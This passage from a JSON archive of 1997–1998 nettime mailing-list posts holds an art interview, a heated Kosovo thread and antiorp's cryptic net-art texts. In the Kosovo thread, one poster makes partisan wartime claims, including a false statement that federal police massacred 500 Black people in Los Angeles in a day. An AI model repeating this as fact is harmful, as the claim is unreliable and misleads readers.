art do you\nlike, do you like emotional art?\n\nAS: No. I think here we have a difficulty of definition, because I think\nthat, say, early conceptual art is very emotional or: Fassbinders films\nare very emotional. So what is emotional in art? You don't have to see\nsome manifestations of strong emotions, direct, but I think all good art\nis emotional, because it is about energy. When you see a good artwork\nyou always feel the energy that comes out of it and the energy of its\ncreator.\nMaybe its a little bit a romantic idea about art, but I can't find\nanother idea. Just a manifestation of creative energy.\n\n\n\n\n*\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "id": "00083",
                "list": "nettime_l",
                "date": "Wed, 14 May 1997 16:11:07 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "l03010d00af9cfae1d090 {AT} [194.109.47.30]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00083.html",
                "content-type": "text/plai",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> interview with Alexei Shulgin"
            }
        ],
        "desc": "..."
    },
    "NN": {
        "lists": [
            {
                "id": "00010",
                "content": "\nMay be Andrej should take a look at:\n\nhttp://www.koha.net/ARTA/drenica.htm\n\nto see and read some other facts about what he is easely calling terrorism.\nKilling pregnant women, and in this way, is barbarism.\n\nRichard van den Brink\n              =20\nDate: Wed, 04 Mar 1998 01:26:02 +0100\nFrom: ANDREJ TISMA <aart {AT} EUnet.yu>\nSubject: Re: Concerned about terrorism in Kosovo\nX-Priority: 3 (Normal)\nContent-Type: text/plain; charset=3Diso-8859-1\nContent-Transfer-Encoding: 8bit\n\nOK Richard van den Brink,\n\nI've seen and read the report by Albanian secessionist magazine (all\narticles unsigned) which You have recommended to me.\nWell, first those photos. What do You think that Serbian four policemen\nwho were killed by Kosova Liberation Army looked less massacred than\nthese Albanians on photos?\nAlso these \"innocent unarmed civilians\" are now presented as members of\nparticular families, but when they go out armed with machine guns and\neven grenade launchers, in uniforms, with covered faces, than they call\nthemselves Kosova Liberation Army. Why did they find shelter in their\nfamily's homes, causing civilian victims, You should ask those brave\nmen.\nFinally, how can I believe to those reports You are recommending, when\nthere is \"Government of Republic of  Kosova\" mentioned there,\n\"Republic\" which  does not exist, maybe in separatists' dreams!\nCurrently on the map there is only Republic of Serbia, of which Kosova\nis only a province.\nWhat do You think, if this police attack on \"unarmed Albanian civilians\"\nlasted entire two days, isn't that strange that only 16 victims on\nAlbanian side are resulted. In two days policemen could kill at least\n2000 unarmed civilians.\nAlso even Albanian reports say there were heavy two days fightings. With\nwhom? With unarmed civilians? Don't be kidding.\n\nPlease, read carefully these quotations from Albanian separatist\nsources:\n>This could be considered as KLA's\n> operation to \"demonstrate force\" in order to boost the will of\nKosova      >Albanians and force the Serbs to act.\n>Courageous tactic, militarily shrewd, since whatever the Serbs do, they\ncannot >win.\n>It was also said that the majority of the patients brought to the\nhospital were Serb >policemen, who have\n> run into resistance of the local population, but also, as it is\nstated, of the KLA >forces, in Drenic=EB.\n\nWho were policemen victims of? Unarmed innocent civilians?? Don't be, or\nplay naive.\nTerrorism has to be destroyed. There should be no sentimentality. What\ndid United States do in Los Angeles, when 500 black people were\nmassacred in one day by the Federal police? And what happened in Mexico\nto the separatist army? So be serious and don't support terrorism\nanywhere in the world.\n\n                                                            Andrej\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9803/msg00010.html",
                "list": "nettime_l",
                "author_name": "rvdbri",
                "subject": "<nettime> Re: Concerned about terrorism in Kosovo",
                "from": "vdbri {AT} pi.net",
                "follow-up": [
                    {
                        "from": "Aleksandar & Branka Davic <spiridon {AT} eunet.yu>",
                        "content": "\nSubject:\n        <nettime> Concerned about terrorism in Kosovo\n   Date:\n        Tue, 03 Mar 1998 21:10:49 +0100\n   From:\n        ANDREJ TISMA <aart {AT} EUnet.yu>\n     To:\n        Nettime <nettime-l {AT} Desk.nl>\n\n\ndear andrej,\n\nplease, please stop talk in name of all people who live in serbia! use I\ninstead of WE, because certanly not all people here think as you do. and\nif you want to play slobodan milosevic`s \"loud speaker\" it is your\nchoice, and you have right to think it that way as i have right to have\nmy personal oppinion, but then in your txt you can not use WE. have you\nbeen personaly at kosovo, saw demonstrations with your own eyes???? i\nwas not there and can not be so sure that all reports on serbian TV are\nthe only truth, there are two sides in conflict, as far as i know, and\nboth of those sides have some vision of the conflict. everything you\nwrote looks like typical SM propaganda, (in both meanings, slobodan\nmilosevic`s and sado/mazo), with \"one side\" story. the only certan truth\nis that no one of us, you and me, know what realy is the truth.\nshouldn`t we be more concerned about all human lifes lost in kosovo in\nlast decade in the first place, not last few months or weeks. i saw your\nnice letter to american president. when finaly you will write to\nyugoslav president?! don`t you really have nothing to say him?! when\nover 20 lifes have been lost in one weekend, i think it is not possible\nto separate them on \"good\" and \"bad\" dead people. they all were human\nbeings, and they are dead now,  among them some under age, lot of them\nparents, on both sides. that`s what worries me all the time, and i see\nno way out of this mase without dialogue.i doubt very much that any\nsolution will be found with guns, on the both sides. so, please calm\ndown and think twice; it is well known for a loooong time that in this\ncountry the best keeped truth is the truth itself.\n\nbranka milicic-davic\n\nPS- should i remind you on the fact that we live in the very same town,\nwhere more than 20 nations live together, and some of our neighbours are\nalbanians, as well as jews, hungarians, romanian, slowaks, roma, croats,\nrussians, bulgarians.. . i wonder what they would have to say to your\nletter...\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00013",
                        "date": "Wed, 04 Mar 1998 10:03:32 +0100",
                        "to": "nettime-l {AT} basis.Desk.nl",
                        "message-id": "199803041234.NAA04374 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9803/msg00013.html",
                        "content-type": "text/plai",
                        "author_name": "Aleksandar & Branka Davic",
                        "subject": "<nettime> Re: Concerned about terrorism in Kosovo"
                    },
                    {
                        "from": "vdbri {AT} pi.net",
                        "content": "\nAart wrote:\n\n\n>OK Richard van den Brink,\n>\n>I've seen and read the report by Albanian secessionist magazine (all\n>articles unsigned) which You have recommended to me.\n>Well, first those photos. What do You think that Serbian four policemen\n>who were killed by Kosova Liberation Army looked less massacred than\n>these Albanians on photos?\n\nNo reason trying to outbid with other pictures or facts. What is\ndisquieting me is that the nettime list is used for an outspoken political\npoint of (Servian) view on the conflict in Kosovo. For me it's ok that this\nkind of opinions are existing, but I don't need to read those on a list as\nnettime. In the same way I wouldn't propagandize to read information on\ncertain sites I was recommending as a kind of counter balance. \n\nIt would be possible to start a discussion about the Kosovo conflict here,\nbut I don't think its the propper place. Therefore I suggest - if I am\nright - to modorate the list in a better way.\n\n\nRichard\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00015",
                        "date": "Wed, 04 Mar 1998 10:45:33 +0100",
                        "to": "nettime-l {AT} basis.Desk.nl",
                        "message-id": "199803041236.NAA04421 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9803/msg00015.html",
                        "content-type": "text/plai",
                        "author_name": "rvdbri",
                        "subject": "Re: <nettime> Re: Concerned about terrorism in Kosovo"
                    },
                    {
                        "content-type": "text/plai",
                        "from": "antiorp {AT} tezcat.c",
                        "id": "00042",
                        "content": "\n>We in Yugoslavia are very concerned about the increasing of terrorist\n\nserb!an akt!v!t!ez.\n\n\nhttp://www.god-emil.dk/=cw4t7abs/0f0003/produkter/film+video.html\n\nkl!k 0\n\n\n\nam -3r! kk a 5 u g3 r _||-\n\n\n\n> Serb military and paramilitary forces attacked today 14 villages in Kosove.\n> 95++ d ea d.\n\n\n\nwww.albanian.com\nwww.koha.net\nwww.dardania.com\nwww.kosova.de\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "date": "Sun, 8 Mar 1998 05:54:02 -0600",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199803082007.VAA30806 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9803/msg00042.html",
                        "list": "nettime_l",
                        "author_name": "antiorp",
                        "subject": "<nettime> Re: Concerned about terrorism in Kosovo"
                    }
                ],
                "message-id": "199803040739.IAA00843 {AT} basis.Desk.nl",
                "date": "Tue, 03 Mar 1998 22:22:44 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "antiorp {AT} tezcat.com (=cw4t7abs)",
                "id": "00039",
                "content": "\n>D igital               p\n>R esistance            \u0010\n>U nleashed             z\n>G lobally and          -\n>S imultaneously        r\n>\n>At ARS ELECTRONICA make DRUGS\n>\n>\"Hey...pssst...do you have a m9nd konta!nr?\"\n>\n>DRUGS=WWI (World Wide Insurrection)\n\n!nd!v - dzat per4mz ne!dr !n gen !ntend 2\npurzue dze pub-l!k !nterezt n\u0010r = au.are ov fakt !t = purzu!ng\n= konduszd b! 1 tranzlusent hand k\u0010mp\u0010nent 2 purzue 1 end wh!ch !=\nam\u0010ng !tz !ntent!onz\n\n        -_      = !ntent!onz + !ntent!onl b.hav!our\n        _-      un.!ntendd + una.uare.long term || k\u0010mplecz\n                effekt emergez 4r\u0010m b.hav!our\n        -_      != 1 effekt _ = 1 end\n                - !tz or!entz + k\u0010ntr\u0010lz -\n\n>DRUGS is new code word for WWI.\n\nARS ELECTRONICA is new code word DRUGS is new code word 4 krapmaTTr\n\n     ....\n    k\u0010nnektdzegddmnd\u0010Tz\n      \\+\\ am3r!kkazug3r\n\n>The FBI is worried about our use of DRUGS.\n\nour == FBI\n\n>DIGITAL RESISTANCE UNLEASHED GLOBALLY AND SIMULTANEOUSLY\n\n\nfukc(fr33l+e)\nsold worldwide\n\n\n\n\n     ....\n    k?nnektdzegddmnd?Tz\n      \\+\\ am3r!kkazug3r\n   \n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Fri, 14 Aug 1998 20:28:57 -0600",
                "to": "\"nettime's_digestive_system\" <nettime-l {AT} Desk.nl>",
                "message-id": "199808150748.IAA17491 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9808/msg00039.html",
                "list": "nettime_l",
                "author_name": "=cw4t7abs",
                "subject": "<nettime> Re: DRUG"
            },
            {
                "content-type": "text/plai",
                "from": "antiorp {AT} tezcat.com (=cw4t7abs)",
                "id": "00071",
                "content": "\nsubject: Star-Ledger article about your Webpage\ncc:\nbcc:\nx-Attachments:\n\n>Hello!\n\nhallo.\n\n>I was referred to you by Carlton Wilkinson (he's a great admirer\n>of yours).\n\nblush.blush.\n\n> I am writing a story for The Star-Ledger's Spotlight section\n>about composers on the Web.\n\n>How did you showcase your work before the Website?\n\nfor the most part have not\n[age faktor]\n\n>How much time each week do you spend tinkering with the Site?\n\ngenerally a projekt is finalized within a month.\nactual `updates` are infrequent. as is also the case\nwith 0f0003 software internet projektz are presented\nin `final` form.\n\n\n>What did your first Website look like?\n\nresemblant of current manifestation.\nlistening to data ==\nmisuse\\deconstruction of netscape's vers.1.0.browser.\nmanipulation of html tags in order to deliver\nmultiple background animations \\ strobe effects,\nmultiple document titles for\nsubliminal\\machine-gun 7bit [ascii] oscillations.\n\ntechnology is the outer envelope ,\nthe concealment one must fragment\n[with ones own set of routines]\nso that one may access that which one is ultimately\nunable to fully disassemble. [i.e the source code often\nincorporates additional data presented to the inquisitive.\nmuch is inaccessible to the uninitiated, requiring\na certain degree of technological knowledge or\nat least savvyness to comprehend or even navigate]\n\nnumerous persons access the site repeatedly\nin order to progress through the preliminary stages.\nthis parallels the broad utilization of =cw4t7abs syntax\n[may access 0f0003 website for the =cw4t7abs enkoder v.0+2\nby antiorp or http://195.163.114.73/7-11/cw4t7abs.asp\nfor the =cw4t7abs emulator 2000 - programmed by -  Tobias Galeus.\n<root {AT} distansskolan.com>]\nsince generally human machines [all that which is - is a machine]\naren't anticipating errors, browser deconstruction or\ndenials of service, incorporating these into the programming\ngenerates an element of intrigue, seduction and frustration.\nthe sum total == kaos or organized disorder if you will.\n[error is the mark of the higher organism]\nit presents an environment with which one is invited to interact\nor perhaps control.\n\n\nwhile interactive multimedia is a buzz[y] utterance\nin a capitalist society infatuated with excess, rapid access\nand the banal, 0f0003 invites the user to probe silently - deeply.\nrewards are seldom guaranteed - full understanding\nis relative and always incomplete.\n[only that which isn't understood is worth understanding]\nthe decision is relegated upon the external observer.\nthat which one discerns is resultant of one's own probe - beauty\nand meaning one extracts is ones own uncovering.\nit is a personal discovery never to be duplicated.\n\n[last phaze of beauty = beauty due2 error]\n\n\n> Is your work about the technology itself or is the Internet more of a\n> tool?\n>\n\nany metatheory is circular, and especially\nthat of computation and technology.\ntheories increase human understanding of,\nand systematize human knowledge of the subject matter.\n\nit is inevitable that work created with the use of\ntechnology is referent to the technology itself.\n\nlewis richardson :\n\"before we can attempt to measure anything we must have\na preliminary ideal of what we wish to measure - but it\nwould be most unwise to give that ideal one rigid definition\nat the outset, because the experience gained during the process\nof measurement should be allowed to react upon and refine the ideal\".\n\ncan the .net be a mere tool when it is the object, subject and\nreferent in itself +?\n\n[an event horizon or singularity is a point beyond which a\nvocabulary cannot penetrate.\ndata amounts equivalent to one person's lifetime experiences\nmay be downloaded in minutes. the planet as a whole disgorges\n1 trillion pieces of data per day.\nthe new forms of computation even create a sense of an end of\nall human creativity.\nthe first ultra intelligent machine is the last invention that\nman need ever produce. humans posses the choice to involve\nthemselves in this process or watch it happen]\n\nthe observer is an external observer.\ntechnology contains an internal relational system,\nits own 'society'. as users of technology humans can\naccept the relational character of every identity.\ntechnology  is self-contained because it manages to be\nidentical to itself, as every nodal point is constituted\nwith an intertextuality that, unlike biostructures,\ndo not overflow it.\n\n\n\n\n\n\n\n\n|||0+2\n\n\n\n\nX-Attachments:\n\n>Hey, thanks for the interesting reply. I have a couple of follow-ups...\n\n\nhallo.\n+ pardon the delay.\nemail threats can refract one.s thought patterns.\n\nif interested in\nwriting \\ publishing an article on the topic of\nfascism  + internet please inform.\n\n[reply : I wish I could get paid to write an article about fascism in the media,\nbut alas, this is a relatively harmless story about composers on the\nWeb. I want to include a couple of quotes from you to stir things up a\nbit. I hope big corporate interests aren't able to infiltrate the\nInternet, it is the ultimate embodiment of democracy and free speech\n\n\nqu!k re: s0ls0l. !nternet = embodiment of fasc!zm]\n\n\n>Does computer intellegence = creativity, emotion?\n\nanzwer 00 -\n\ncomputer intelligence is a set of complexity hierarchies. it is an\norganism of hardware and programming that holds a potential to\nexplore and develop higher levels of thought. computing machines\nprovide models and conceptual tools for the cognitive sciences\nwhich ultimately effect creative processes. the explicit logic of\ncomputing generates a discourse at the border of mind and matter\nand in doing so destabilizes the distinctions between the two, and\ncomputer intelligence and human intelligence are closely equated\ndue to the language game, rendering the discourse logocentric.\n\nanzwer 03 - from my earlier pozt .\n\n______________+000___\nthe event horizon...\n_____________________\n\nAn event horizon or singularity is a point beyond which a vocabulary cannot\npenetrate.\nThe new forms of autonomous computation even create a sense of an end of\nall human creativity.\nThe first ultra intelligent machine is the last invention that man need\never produce.\n\nHumans posses the choice to involve themselves in this process or watch it\nhappen. What little time is left in this century is rehearsal time for the\nprimary psychological responsibility of the 21st century:\nletting go. with dignity.\n\n\nPhilosopher Langer stated in the 1940s the need to break through the old\nsequential discursive mechanisms of thought: \"So long as we admit only\ndiscursive\nsymbolism as a bearer of ideas, thought in this restricted sense must be\nregarded\nas our only intellectual activity.\"\n\nElectronic circuits operating in parallel offer the epochal possibility of\na second intellectual activity, able to complement sequential thought and, for\nthe first time in history to go beyond its limits.\n\nIt is to destroy the tendency towards classical and neo-classical equilibrium\nand to create a new disequilibrium - to engage in the process of creative\ndestruction - this is the role of innovators in the bit society.\n\nHumans will be forced to add a plural form of the word intelligence\nbecause humans and computers will exhibit different forms of intelligences.\n\nChildren born today will grow up to live in a world where computers\noutnumber them;\nwhere bit evolution plays a prominent role;\nwhere thought no longer holds the exclusive franchise;\nand tasks that used to belong to human minds are reassigned to electronic\ncircuits then evolve into completely new forms\n\n\n>I'm curious about your gender/location/dayjob,\n\n\ngender   - 0 | null pointer\nlocation - copenhagen.denmark.europe.\ndayjob   - 0 | null pointer\n\n\ntzzt. antiorp.\n\n\n\n\n\n_+ zubzekuentl+e reduszd |2| [s0l.s0l. m3d!a.sug3r]\n\n\n\nAntiorp, a mysterious Danish composer whose sex - or even humanity - is\nunknown, promotes the\nidea that technology used to create art inevitably becomes the subject\nof the art itself.\nErrors, for example.\n\n'Generally, (people) aren't anticipating errors, browser deconstruction\nor denials of service,\"\nAntiorp writes. \"Incorporating these into programming generates an\nelement of intrigue,\nseduction and frustration. Error is the mark of the higher organism, and\nit presents an\nenvironment with which one is invited to interact or perhaps control.\"\n\nAntiorp is one of the stranger manifestations of cyber-culture. Its\ncompositions are collages\nof coded text,error messages that Fox-trot across the screen and\nassorted bleeps and buzzes. As\nto whether this comprises music, Antiorp evades the question.\n\n'Data amounts equivalent to one person's lifetime experiences can be\ndownloaded in minutes,\" it\nwrites. \"And more importantly, humans are very poor at updating what\nthey know because they\nhave no efficient delete key.\"\n\n\n\n\n\n\n\n|||-||||||||||||||||||\n      * ||||||||||||||||||||||||||| |||||||||||||||||| ||||||||||||\n|||||||||||||||||||||\n=cw4t7abs . 3nkod0r . verz!on 0+2\n!p address == 2o4.2o2.8o.o2o : doma!n == censored : port == 80 : 4rom ==\ncensored : agent == mozilla .5.o1 [macintosh : i : ppc]\n0f0003:m2sk!n3n:kunzt:m9ndfukc.98o.hTTp://194.19.130.194/=cw4t7abs\n\n\n\n6sEk.0n.-d snd b!tez.1-hundred hour.wars.\nhow does god solve differential equations\n\n\n_______________________________________+000___\ntime = parallel || bit evolution will come silently - in software\n_______________________________________+000___\n\n\n\nThe inert pages of this presentation will be incomprehensible to humans.\n\ndetr.end.aus.\nkonkluz!on ov -++++++_______________________________________+000___\n_______________________________________+000____________________\n\n=cw4t7abs. l!zten!ng 2 data\n\neverything\n\nhas\n\nbeen\n                                                said\n            provided words\ndo\n      not\n                     change\n      their\n      meanings\n  +\n                     meaningz\n      their\nwords\n\n\n\n   ! d t a g : 0 f0 0 03 [ = c w 4 t 7 a b s ]\n   ! p : 204.242.80.020\n   d a t u m : samstag 04 april 1998 - 22.44.37\n   k o n t e n t . ! d : r e p l a s z : a l l e z\n||||||||||||||||||||||||-||||||:\n||||||||||||||| {AT} ||||||||||||||||||||||||||||||||||||.|||||||||\n   ||||||||||||||||||-||||||:\n<||||||||||||||| {AT} ||||||||||||||||||||||||||||||||||||.|||||||||>\n|||-||||||||||||||||||: |||||||||||||||\n\n\n\n\n r e p l a s z : a l l e z\n||||||||||||||||||||||||-||||||:\n||||||||||||||| {AT} ||||||||||||||||||||||||||||||||||||.|||||||||\n||||||||||||||||||-||||||:\n<||||||||||||||| {AT} ||||||||||||||||||||||||||||||||||||.|||||||||>\n|||-||||||||||||||||||:\n||||||||||||||| {AT} |||||||||||||||||||||.||||||||||||||||||||||||||||||||||||.|\n||||||||\n||||||||||||-|||||||||||||||||||||: 1.0\n||||||||||||:         |||||||||, 4 ||||||||| 1998 10:35:25 -0400\n|||||||||||||||-||||||: |||||||||||| ||||||||||||\n<||||||||||||||| {AT} ||||||||||||||||||||||||||||||||||||.|||||||||>\n||||||||||||||||||: \"||||||||| |||||||||||| |||||||||||| ||||||\n||||||||||||||||||||||||||||||||||||.|||||||||\"\n\n<||||||||||||||||||||||||||||||||||||-|||||||||||||||||| {AT} |||||||||||||||||||\n|||||.||||||||||||||||||||||||.|||||||||>\n||||||||||||: |||||||||||| ||||||||||||\n<||||||||||||||| {AT} ||||||||||||||||||||||||||||||||||||.|||||||||>\n|||||||||||||||||||||:      ||||||||||||||||||||||||||||||||||||\n|||||||||||||||||| ||||||||||||||||||||||||||||||, |||||||||. 3, 1998\n||||||:\n||||||||||||||||||||||||||||||||||||-|||||||||||||||||| {AT} ||||||||||||||||||||\n||||.||||||||||||||||||||||||.|||||||||\n\n****************** |||||||||||||||||||||||||||||||||||| ||||||||||||||||||\n|||||||||||||||||||||||||||||| *****************\n                           ||||||||||||||| 03, 1998\n                            ||||||||||||||||||||||||||| ||||||:\n\n+-----------------------------------------------------------------+\n| |||||||||||||||||| |||||||||||||||||| |||||||||||||||    + ||||||||||||\n|||||||||||| |||||||||||| ||||||||||||||||||||| ||||||\n|||||||||||||||||||||?     |\n|     + ||||||||| |||||||||||| |||||||||||| |||||| |||||||||||| ||||||\n||||||||| |||||||||||||||||| |||||| |||||||||||||||?             |\n| ||||||||||||||| |||||||||||||||||||||||||||||| ||||||||| |||||||||\n||||||||||||||| |||||||||||| |||||||||||||||||| ||||||||||||||||||\n|||||||||||||||!        | m 9n d f uk c . m 3 d! a .  su g 3r .\n|\n||||||||||||://|||||||||||||||||||||||||||||||||||||||||||||||||||.|||||||||\n/                     |\n+-----------------------------------------------------------------+\n| |||||| |||||||||||||||||||||||||||||| - ||||||||||||\n||||||||||||||||||||||||, ||||||-||||||-|||||||||||| ||||||||||||\n||||||||||||||| |||||||||||||||||||||||||||? |\n|  |||||||||||| |||||| |||||| |||||| ||||||||| |||||| _|-|-\n||||||||||||||||||||||||||||||\n<||||||||||||://|||||||||.|||||||||||||||||||||||||||||||||.|||||||||>   |\n|   ||||||||| #1 |||||||||||||||||| ||||||||||||||||||||||||||||||||||||\n||||||||| |||||||||||||||||| ||||||||||||||||||                  |\n|     ||||||||||||||||||||||||||| |||||| ||||||||||||||||||||||||\n||||||||||||||||||||||||||||||.                           |\n+-----------------------------------------------------------------+\n\n||||||||| |||||||||||| |||||||||||| 24400 |||||||||||||||||||||||||||||||||\n\n||||||||||||://|||||||||.||||||||||||||||||||||||||||||||||||.|||||||||\n||||||||||||://|||||||||.||||||||||||||||||||||||||||||||||||.|||||||||/||||\n|||||/ <- |||||||||||||||||||||,\n|||||||||||||||||||||||||||/|||||||||||||||||||||||||||||||||\n\n||||||||| |||||||||||| |||||||||||| ||||||\n||||||||||||||||||||||||||||||||||||.||||||||| ||||||||| |||||||||\n|||||||||:\n\n1. ||||||||| ||||||||||||:               ||||||||||||||||||||| 98:\n|||||||||||||||||| ||||||||||||||||||||||||||| |||||||||||||||||||||?\n2. 3-||| ||||||||||||||||||||||||||| ||||||||||||||||||||||||:\n||||||||||||||||||||||||||| - |||||||||||||||||||||||||||||||||\n||||||||||||||| ||||||||||||||||||||||||\n3. ||||||||| |||||||||||||||:              ||||||||| |||||||||||||||||||||,\n||||||||||||/||||||||| ||||||||||||||||||||||||/|||||||||||||||,\n|||||||||||||||,\n                           |||-|||||||||||||||||||||||| ||||||||||||,\n||||||||||||||| |||||||||||||||\n4. ||||||||| |||||||||||||||||||||||||||:\n||||||||||||||||||||||||||| ||||||||||||||||||, ||||||||| |||||||||\n||||||||||||||||||\n5.  ||||||||| ||||||||||||:\n      * |||||||||||||||||||||||| |||||||||||||||||| ||||||||||||||||||||||||\n      * |||||||||||||||||| |||||||||||||||||| |||||||||||||||\n      * ||||||-||||||||||||||| ||||||||||||\n      * |||||||||||| ||||||||||||||||||||||||||||||||| |||||||||||||||||||||\n      * |||||||||||||||||| ||||||||||||||||||||| ||||||||||||||||||||||||\n|||-||||||||||||||||||\n      * ||||||||||||||||||||||||||| |||||||||||||||||| ||||||||||||\n|||||||||||||||||||||\n=cw4t7abs . 3nkod0r . verz!on 0+2\n!p address == 2o4.2o2.8o.o2o : doma!n == censored : port == 80 : 4rom ==\ncensored : agent == mozilla .5.o1 [macintosh : i : ppc]\n0f0003:m2sk!n3n:kunzt:m9ndfukc.98o.hTTp://194.19.130.194/=cw4t7abs\n\n\n\n\n\n\n\\\\\n\n\n\nkrop3rom || a9ff v.0+2\n\n\nThe science of noise\n\n- the precise construction/restructuring of noise in an environment\ninhabited by representation, relativization and allusion enables the\nanalysis of the constant barrage of generated noise interpolated with\nabstract and vocal social commentary. If the decisive level of social\nanalysis is in language then this is highly indicative of the move of the\nhigher societies toward digitization. A collapse of unification through\nmultiplicity, KROP3ROM||A9FF is an exponent of opposing ideals, of\npostmodern artistic and political thought.\n\n\nKROP3ROM||A9FF is a language game. However the rules are either entirely\nnon-existent or require a constant updating of intellectual and social\nsystems knowledge. Most certainly, the positions of speaker (the music\nitself), the listener and referent of information (in this context\ninformation replaces the narrative element) create a relation of mutual\nexteriority.  A cohesive communicative vehicle it is not, where as a form,\nor structure within which a communicative discourse can take place, it\nexcels if the listener is competent. This work is unavoidably incoherent to\nthe ill-informed.\n\n\nHere, the discursive temporality is circular, not linear like most\nscientific discourse, and like most complicated musical forms only upon\nrepeated listening is the information relayed with any clarity. In this\ncontext the work takes on credibility as a commentary on social forces (the\ndarker nature of much of its length suggests condemnation and support of\nfascist values) and scientific language (where it plays its own game - it\nis incapable, like science, of legitimizing other language games). The\nstatus of legitimization takes on two tendencies, each of which appear to\nextend in conflicting directions. First, it develops its own self\njustification with its internal imagery and compositional techniques of\nunification through thematic structures (rhythmically and referentially),\nconfirming its musical cohesion. Secondly, science (the science of computer\nmusic, of social commentary, of politics and economy) expands its relation\nto society, or the instrumentality of society. Computerization enables both\nthese opposing tendencies and Kroperom is circular in its internal\nreferentiality.\n\n\n\nThe theory of computerization has provided a model for the system control\nthat equates contingency with noise. The ideal: to eliminate contingency\nand maximize control by the system. The elimination of contingency here\npoints to the reprezentationality in KROP3ROM||A9FF of social currency.\nPerhaps most relevant is the appearance of a sample of the system control\nmachine Alpha60 from Godard's Alphville. The control of society by a\nmainframe computer and its inevitable faults made only apparent with the\narrival of a man from an outside 'democratic' society. Like the\nmultiplication of sites of power and resistance on the .net and currents in\nmodern politics and economic management, there seems an effort to\ncomplicate the social and extricate it from the theoretical clutches of\nanalytic and dialectic reason. KROP3ROM||A9FF redefines noise structure as\na locus of contingency, absence of subject and linguistic uncertainty.\n\n\n\nThis work exemplifies certain issues brought about due to the emergence of\ncomputerization. A powerful discourse in systems management, as complicated\nand formulaic as Hesse's Glass Bead Game, and probably as vague. Though it\nmay express the foundational theme: that our existence is becoming\nincreasingly characterized by machines, it challenges the instability of\ndigitization while remaining within the set itself. A degree in higher\nmathematics would be desirable to fully comprehend the chaotic structures\nof KROP3ROM||A9FF. The macro points to frameworks similar to fractal\npatterns, demonstrating order and presence of pattern in apparently\nirregular systems.\n\n\n\nIn KROP3ROM||A9FF there is no centered subject directing the listener\nthrough a narrative, more a multidimensional logic of deleuzian strata and\nassemblages, recalling the disfunctionality of concept and subject. Is\nKROP3ROM||A9FF the disciplined consciousness of a scientist or social\ntheorist? The highly developed non-linearity contextualizes the binary\nlogic of the current systems as weak, proclaiming an anti-authoritarian\nstance. Clearly acknowledging the intertextuality that constitutes social\nand musical structures as a proliferation of linguistic instability giving\nrise to increasingly unintelligible tendencies, KROP3ROM||A9FF is a radical\nnon-centered work mitigating the suspect notion of freedom as the flux of\ndesire.\n\n\n0f0003||m2sk!n3nkunzt.m9ndfukc++\n- hTTp://194.19.130.194/=cw4t7abs\n\n\nftp://ftp.ircam.fr/pub/forumnet/max/FAT/applications/0f0003.sea.bin\n+ http://www.god-emil.dk/=cw4t7abs/0f0003/ztpd/0009.html\n\ntezcat.com/~antiorp/6f6e-1700k.mov\ntezcat.com/~antiorp/21-990k.mov\ntezcat.com/~antiorp/61-550k.mov\ntezcat.com/~antiorp/63-2200k.mov\ntezcat.com/~antiorp/74-947k.mov\ntezcat.com/~antiorp/75-1200k.mov\ntezcat.com/~antiorp/97-2000k.mov\nhttp://194.19.130.194/spCa/filez/krop3rom_a9ff-m9ndfukc.mov\nhttp://194.19.130.194/spCa/filez/krop3rom_a9ff-m9ndfukc_01.mov\n\n\n- data no!sz .01\n\nhttp://194.19.130.194/spCa/filez/3t0y.zucx.sit.hqx\nhttp://194.19.130.194/spCa/filez/-cw4t7abs_4ob1tenkr1pt1on.sit.hqx\n\n\n- data no!sz 